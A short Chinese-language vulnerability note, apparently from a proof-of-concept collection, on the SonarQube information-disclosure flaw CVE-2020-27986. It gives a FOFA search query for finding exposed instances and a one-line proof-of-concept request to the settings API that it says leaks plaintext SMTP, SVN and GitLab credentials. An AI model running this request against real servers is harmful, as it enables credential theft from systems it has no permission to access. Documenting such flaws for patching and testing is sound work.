SonarQube api 信息泄露漏洞 CVE-2020-27986.md

754 B / 2021-04-21 09:23:46
    # SonarQube api 信息泄露漏洞 CVE-2020-27986

## 漏洞描述

SonarQube 某接口存在信息泄露漏洞，可以获取部分敏感信息

## 漏洞影响

> [!NOTE]
>
> SonarQube

## FOFA

> [!NOTE]
>
> app="sonarQube-代码管理"

## 漏洞复现

主页如下

![](resource/SonarQube-api-信息泄露漏洞CVE-2020-27986/media/1.png)

漏洞POC

```
http://xxx.xxx.xxx.xxx/api/settings/values
```

![](resource/SonarQube-api-信息泄露漏洞CVE-2020-27986/media/2.png)

可泄露的为：明文SMTP、SVN和Gitlab等敏感信息

![](resource/SonarQube-api-信息泄露漏洞CVE-2020-27986/media/3.png)

## Goby & POC

> [!NOTE]
>
> SonarQube api Information leakage

![](resource/SonarQube-api-信息泄露漏洞CVE-2020-27986/media/4.png)